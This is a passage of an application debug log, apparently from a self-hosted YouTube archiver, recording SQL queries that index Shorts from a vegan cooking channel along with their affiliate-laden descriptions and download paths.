true, ~U[2025-12-30 00:00:00Z]] 20:31:08.923 [debug] QUERY OK source="sources" db=0.7ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.926 [debug] QUERY OK source="media_items" db=2.5ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-29 00:00:00Z], 1] 20:31:08.928 [debug] QUERY OK source="media_items" db=1.4ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This pesto tofu uses my easy and quick pesto recipe and an air fryer to create the crispiest and tastiest tofu recipes that you've ever tried. If you love pesto and you love things that are crispy then this vegan, gluten-free, and high-protein recipe is for you!\n\nPESTO TOFU Recipe over on my blog ➡️ https://steamyvegan.com/pesto-tofu/\n\nAir Fryer DISCOUNT CODE\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nSubscribe to the channel here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Pesto Tofu Recipe 🤤", "359e3a4a-d6c6-4a81-9211-1b31e446c052", 1, [], false, "nmCTo8hqIx0", "https://www.youtube.com/shorts/nmCTo8hqIx0", 16, "/downloads/downloads/alec/Steamy Vegan/2025-12-29 Pesto Tofu Recipe 🤤/Pesto Tofu Recipe 🤤 [nmCTo8hqIx0].NA", false, false, true, 2, ~U[2025-12-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This pesto tofu uses my easy and quick pesto recipe and an air fryer to create the crispiest and tastiest tofu recipes that you've ever tried. If you love pesto and you love things that are crispy then this vegan, gluten-free, and high-protein recipe is for you!\n\nPESTO TOFU Recipe over on my blog ➡️ https://steamyvegan.com/pesto-tofu/\n\nAir Fryer DISCOUNT CODE\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nSubscribe to the channel here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Pesto Tofu Recipe 🤤", 1, nil, false, "nmCTo8hqIx0", "https://www.youtube.com/shorts/nmCTo8hqIx0", "/downloads/downloads/alec/Steamy Vegan/2025-12-29 Pesto Tofu Recipe 🤤/Pesto Tofu Recipe 🤤 [nmCTo8hqIx0].NA", true, ~U[2025-12-29 00:00:00Z]] 20:31:08.929 [debug] QUERY OK source="sources" db=0.9ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.931 [debug] QUERY OK source="media_items" db=2.2ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-29 00:00:00Z], 1] 20:31:08.933 [debug] QUERY OK source="media_items" db=1.2ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is one of my easiest and cheapest pesto recipes and it's part 1 to making my pesto tofu recipe which is coming up tomorrow as a Short on the channel. If you want a versatile vegan recipe that can be used on pasta, tofu, or as a chip or veggie dip then this pesto recipe is for you. \n\nPESTO TOFU ➡️ https://steamyvegan.com/pesto-tofu/\n\nAir Fryer DISCOUNT CODE\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nSubscribe to the channel here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Pesto Recipe 🌿", "1d867d11-4ffd-40b7-8bbd-0eac929e6883", 1, [], false, "Mj3x1aGKr_s", "https://www.youtube.com/shorts/Mj3x1aGKr_s", 17, "/downloads/downloads/alec/Steamy Vegan/2025-12-29 Pesto Recipe 🌿/Pesto Recipe 🌿 [Mj3x1aGKr_s].NA", false, false, true, 2, ~U[2025-12-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This is one of my easiest and cheapest pesto recipes and it's part 1 to making my pesto tofu recipe which is coming up tomorrow as a Short on the channel. If you want a versatile vegan recipe that can be used on pasta, tofu, or as a chip or veggie dip then this pesto recipe is for you. \n\nPESTO TOFU ➡️ https://steamyvegan.com/pesto-tofu/\n\nAir Fryer DISCOUNT CODE\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nSubscribe to the channel here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Pesto Recipe 🌿", 1, nil, false, "Mj3x1aGKr_s", "https://www.youtube.com/shorts/Mj3x1aGKr_s", "/downloads/downloads/alec/Steamy Vegan/2025-12-29 Pesto Recipe 🌿/Pesto Recipe 🌿 [Mj3x1aGKr_s].NA", true, ~U[2025-12-29 00:00:00Z]] 20:31:08.934 [debug] QUERY OK source="sources" db=0.9ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.936 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-27 00:00:00Z], 1] 20:31:08.938 [debug] QUERY OK source="media_items" db=1.7ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The most in-depth review of the top plant-based protein powder brands on YouTube! We went really in-depth with this protein powder review by trying 40 flavors from 10 super popular brands (let us know if you've tried these): Biosteel, Complement, Eat Just, Good Protein, Leanfit, Sprout Living, Sunwarrior, Vedge, Vega and Vivo Life protein powders. What are your thoughts on these plant-based powders and which ones are your favorites?\n\nIn this video, we reviewed their ingredients, price, flavor, texture and talk about their benefits. Let me know if you have any questions at all about any of them!\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n2. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n3. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n4. Good Protein: 30% off - only available in Canada\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n5. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n6. Vivo Life: 15% off\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:59 - Our Ratings System\n2:57 - Biosteel Review\n6:18 - Complement Review\n8:28 - Good Protein Review\n11:20 - Eat Just Protein Powder Review\n14:22 - LeanFit Review\n17:43 - Sprout Living Review\n21:14 - Sunwarrior Review\n23:58 - Vedge Nutrition Review\n26:31 - Vega Review\n29:02 - Vivo Life Review\n31:44 - Results\n31:57 - Most Affordable\n33:20 - Cleanest Ingredients\n34:20 - Best Tasting Protein Powder\n35:45 - Worst Tasting Protein Powder\n36:13 - Overall Ratings", "Top 5 Cleanest Plant Based Protein Powders 💪", "70ee4179-7cc6-4c83-8810-10fe0a291b1e", 1, [], false, "vGGSsfR4mWo", "https://www.youtube.com/shorts/vGGSsfR4mWo", 18, "/downloads/downloads/alec/Steamy Vegan/2025-12-27 Top 5 Cleanest Plant Based Protein Powders 💪/Top 5 Cleanest Plant Based Protein Powders 💪 [vGGSsfR4mWo].NA", false, false, true, 1, ~U[2025-12-27 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "The most in-depth review of the top plant-based protein powder brands on YouTube! We went really in-depth with this protein powder review by trying 40 flavors from 10 super popular brands (let us know if you've tried these): Biosteel, Complement, Eat Just, Good Protein, Leanfit, Sprout Living, Sunwarrior, Vedge, Vega and Vivo Life protein powders. What are your thoughts on these plant-based powders and which ones are your favorites?\n\nIn this video, we reviewed their ingredients, price, flavor, texture and talk about their benefits. Let me know if you have any questions at all about any of them!\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n2. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n3. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n4. Good Protein: 30% off - only available in Canada\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n5. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n6. Vivo Life: 15% off\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:59 - Our Ratings System\n2:57 - Biosteel Review\n6:18 - Complement Review\n8:28 - Good Protein Review\n11:20 - Eat Just Protein Powder Review\n14:22 - LeanFit Review\n17:43 - Sprout Living Review\n21:14 - Sunwarrior Review\n23:58 - Vedge Nutrition Review\n26:31 - Vega Review\n29:02 - Vivo Life Review\n31:44 - Results\n31:57 - Most Affordable\n33:20 - Cleanest Ingredients\n34:20 - Best Tasting Protein Powder\n35:45 - Worst Tasting Protein Powder\n36:13 - Overall Ratings", "Top 5 Cleanest Plant Based Protein Powders 💪", 1, nil, false, "vGGSsfR4mWo", "https://www.youtube.com/shorts/vGGSsfR4mWo", "/downloads/downloads/alec/Steamy Vegan/2025-12-27 Top 5 Cleanest Plant Based Protein Powders 💪/Top 5 Cleanest Plant Based Protein Powders 💪 [vGGSsfR4mWo].NA", true, ~U[2025-12-27 00:00:00Z]] 20:31:08.939 [debug] QUERY OK source="sources" db=0.6ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.941 [debug] QUERY OK source="media_items" db=1.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-26 00:00:00Z], 1] 20:31:08.944 [debug] QUERY OK source="media_items" db=1.3ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I tried over 20 different brands of vegan protein bars to find the best vegan and gluten-free protein bars on the market. I found the best protein bars for all types of taste buds from the tastiest, to the best texture to the cleanest ingredients.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 DISCOUNT CODES💚\n💪🏼 WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Nugo Nutrition\nDiscount: 50% off variety packs\nLink: https://nugonutrition.com/janelle74\n\n💪🏼Aloha Protein Bars\nDiscount: 30% off your first purchase by using the below link\nLink: https://aloha.com/JANELLECARSS\n\n💪🏼Mezcla Protein Bars\nDiscount: 10% off on 16 bar packs or greater\nCode: STEAMYVEGAN\nhttps://www.eatmezcla.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nOther Videos You Might Be Interested in:\n1. Protein Powder Review Video: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n2. Mushroom Coffee Review Video: \u00A0\u00A0\u00A0•\u00A0Mushroom\u00A0Coffee\u00A0In-Depth\u00A0Review....Four\u00A0Si...\u00A0\u00A0\n3. Homemade Protein Bar Recipe: \u00A0\u00A0\u00A0•\u00A0My\u00A0go-to\u00A0homemade\u00A0protein\u00A0bars!\u00A0\u00A0💪🏼\u00A0Vegan,...\u00A0\u00A0", "Protein Bar Review 💪 Best Vegan and GF Protein Bars", "a7277e4b-4b39-4807-b311-a9c8560f36f5", 1, [], false, "wghOBp3kUUo", "https://www.youtube.com/shorts/wghOBp3kUUo", 19, "/downloads/downloads/alec/Steamy Vegan/2025-12-26 Protein Bar Review 💪 Best Vegan and GF Protein Bars/Protein Bar Review 💪 Best Vegan and GF Protein Bars [wghOBp3kUUo].NA", false, false, true, 2, ~U[2025-12-26 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I tried over 20 different brands of vegan protein bars to find the best vegan and gluten-free protein bars on the market. I found the best protein bars for all types of taste buds from the tastiest, to the best texture to the cleanest ingredients.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 DISCOUNT CODES💚\n💪🏼 WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Nugo Nutrition\nDiscount: 50% off variety packs\nLink: https://nugonutrition.com/janelle74\n\n💪🏼Aloha Protein Bars\nDiscount: 30% off your first purchase by using the below link\nLink: https://aloha.com/JANELLECARSS\n\n💪🏼Mezcla Protein Bars\nDiscount: 10% off on 16 bar packs or greater\nCode: STEAMYVEGAN\nhttps://www.eatmezcla.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nOther Videos You Might Be Interested in:\n1. Protein Powder Review Video: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n2. Mushroom Coffee Review Video: \u00A0\u00A0\u00A0•\u00A0Mushroom\u00A0Coffee\u00A0In-Depth\u00A0Review....Four\u00A0Si...\u00A0\u00A0\n3. Homemade Protein Bar Recipe: \u00A0\u00A0\u00A0•\u00A0My\u00A0go-to\u00A0homemade\u00A0protein\u00A0bars!\u00A0\u00A0💪🏼\u00A0Vegan,...\u00A0\u00A0", "Protein Bar Review 💪 Best Vegan and GF Protein Bars", 1, nil, false, "wghOBp3kUUo", "https://www.youtube.com/shorts/wghOBp3kUUo", "/downloads/downloads/alec/Steamy Vegan/2025-12-26 Protein Bar Review 💪 Best Vegan and GF Protein Bars/Protein Bar Review 💪 Best Vegan and GF Protein Bars [wghOBp3kUUo].NA", true, ~U[2025-12-26 00:00:00Z]] 20:31:08.944 [debug] QUERY OK source="sources" db=0.6ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.947 [debug] QUERY OK source="media_items" db=2.0ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 00:00:00Z], 1] 20:31:08.948 [debug] QUERY OK source="media_items" db=1.1ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis easy vegan recipe is perfect for those nights when the energy is low and you just want to cook something that's a quick recipe. Join me for the full cook with me episode where I make 2 of my go-to lazy girl vegan recipes over on the channel: \u00A0\u00A0\u00A0•\u00A02\u00A0Lazy\u00A0Girl\u00A0Vegan\u00A0Recipes\u00A0🥱\u00A0EASY\u00A0&\u00A0DELICIOUS\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lazy Girl Dinners - Potato Nachos 🥔", "bb673e62-4f11-4508-80b2-96fda935a1f3", 1, 